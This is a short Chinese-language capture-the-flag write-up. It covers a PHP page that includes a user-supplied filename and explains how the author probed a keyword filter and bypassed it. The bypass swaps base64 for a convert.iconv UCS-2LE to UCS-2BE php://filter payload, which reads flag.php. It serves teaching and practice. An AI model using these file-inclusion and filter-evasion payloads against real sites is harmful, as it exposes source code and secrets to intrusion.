首先附上代码
<?php
highlight_file(__FILE__);
include("./check.php");
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
include($filename);
}
?>
看到include,直接想到文件包含,接着想到上次学到的php伪协议
我直接就写上:
?filename=php://filter/read=convert.base64-encode/resource=flag.php
但是发现出现了刺眼的 don‘t hack me
这说明这道题对我们的语句有过滤
那么第一步我们就是要检测过滤的是啥
检测方法
?filename=1hp://1ilter/1ead=1onvert.1ase64-1ncode/1esource=1lag.1hp
依次把上面的1改回去,发现把read被过滤了,那我们就把read=删了,这里没有read也无伤大雅
继续改,发现convert是可用的,base64不可用,encode也不可以,其他的都可以过
那么问题就出在base64和encode怎么绕过上了。
解决办法
这里我了解到了一个convert.iconv.*绕过,
使用方法:convert.iconv.<input-encoding>.<output-encoding>
这里的<input-encoding>和<output-encoding>分别为输入的字符串编码方式和输出的字符串编码方式(字符集)。可选项如下:
- UCS-4*
- UCS-4BE
- UCS-4LE*
- UCS-2
- UCS-2BE
- UCS-2LE
- UTF-32*
- UTF-32BE*
- UTF-32LE*
- UTF-16*
- UTF-16BE*
- UTF-16LE*
- UTF-7
- UTF7-IMAP
- UTF-8*
- ASCII*
- EUC-JP*
- SJIS*
- eucJP-win*
- SJIS-win*
- ISO-2022-JP
- ISO-2022-JP-MS
- CP932
- CP51932
- SJIS-mac(别名:MacJapanese)
- SJIS-Mobile#DOCOMO(别名:SJIS-DOCOMO)
- SJIS-Mobile#KDDI(别名:SJIS-KDDI)
- SJIS-Mobile#SOFTBANK(别名:SJIS-SOFTBANK)
- UTF-8-Mobile#DOCOMO(别名:UTF-8-DOCOMO)
- UTF-8-Mobile#KDDI-A
- UTF-8-Mobile#KDDI-B(别名:UTF-8-KDDI)
- UTF-8-Mobile#SOFTBANK(别名:UTF-8-SOFTBANK)
- ISO-2022-JP-MOBILE#KDDI(别名:ISO-2022-JP-KDDI)
- JIS
- JIS-ms
- CP50220
- CP50220raw
- CP50221
- CP50222
- ISO-8859-1*
- ISO-8859-2*
- ISO-8859-3*
- ISO-8859-4*
- ISO-8859-5*
- ISO-8859-6*
- ISO-8859-7*
- ISO-8859-8*
- ISO-8859-9*
- ISO-8859-10*
- ISO-8859-13*
- ISO-8859-14*
- ISO-8859-15*
- ISO-8859-16*
- byte2be
- byte2le
- byte4be
- byte4le
- BASE64
- HTML-ENTITIES(别名:HTML)
- 7bit
- 8bit
- EUC-CN*
- CP936
- GB18030
- HZ
- EUC-TW*
- CP950
- BIG-5*
- EUC-KR*
- UHC(别名:CP949)
- ISO-2022-KR
- Windows-1251(别名:CP1251)
- Windows-1252(别名:CP1252)
- CP866(别名:IBM866)
- KOI8-R*
- KOI8-U*
- ArmSCII-8(别名:ArmSCII8)
这里我们可以写一个脚本进行爆破,最后发现
?filename=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php可行
传上去即可拿到flag